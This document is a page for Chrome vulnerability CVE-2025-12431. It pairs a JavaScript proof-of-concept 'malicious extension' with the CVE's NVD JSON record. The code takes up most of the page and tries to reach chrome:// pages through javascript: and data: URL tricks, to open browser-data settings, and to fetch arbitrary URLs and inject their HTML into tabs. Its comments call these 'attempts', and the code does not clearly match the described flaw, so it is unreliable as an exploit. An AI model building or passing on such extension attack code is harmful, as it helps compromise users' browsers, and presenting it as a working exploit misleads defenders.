CVE-2025-12431

// Malicious Chrome Extension PoC for CVE-2025-12431 // This PoC demonstrates navigation restriction bypass // manifest.json const manifest = { "manifest_version": 3, "name": "Navigation Bypass PoC", "version": "1.0", "permissions": ["activeTab", "tabs", "webNavigation", "webRequest"], "host_permissions": ["<all_urls>"], "background": { "service_worker": "background.js" } }; // background.js - Malicious extension background script // Bypassing navigation restrictions function bypassNavigation() { // Method 1: Using tabs.update with crafted URL chrome.tabs.create({ url: "javascript:alert('Bypass attempt')" }, (tab) => { console.log("Navigation bypass via tabs.update"); }); // Method 2: Using webNavigation API chrome.webNavigation.onCreatedNavigationTarget.addListener((details) => { // Attempt to modify navigation target to bypass restrictions if (details.url.startsWith("chrome://")) { // Bypass check by using extension pages as intermediary chrome.tabs.update(details.tabId, { url: "data:text/html,<script>location.replace('" + details.url + "')</script>" }); } }); // Method 3: Exploiting extension page navigation chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { if (changeInfo.status === "complete" && tab.url) { // Attempt to navigate to restricted schemes if (tab.url.includes("bypass_trigger")) { chrome.tabs.update(tabId, { url: "chrome://settings/clearBrowserData" }); } } }); } // Trigger the bypass bypassNavigation(); // Method 4: Service Worker navigation abuse chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (request.action === "bypass") { // Use extension's elevated privileges fetch(request.targetUrl, { mode: "no-cors" }) .then(response => response.text()) .then(html => { // Inject content to bypass navigation restrictions chrome.tabs.query({ active: true }, (tabs) => { chrome.tabs.sendMessage(tabs[0].id, { type: "inject", content: html }); }); }); } });

{"cve": {"id": "CVE-2025-12431", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:37.647", "lastModified": "2025-11-13T15:26:24.083", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Extensions in Google Chrome prior to 142.0.7444.59 allowed an attacker who convinced a user to install a malicious extension to bypass navigation restrictions via a crafted Chrome Extension. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-288"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/436887350", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}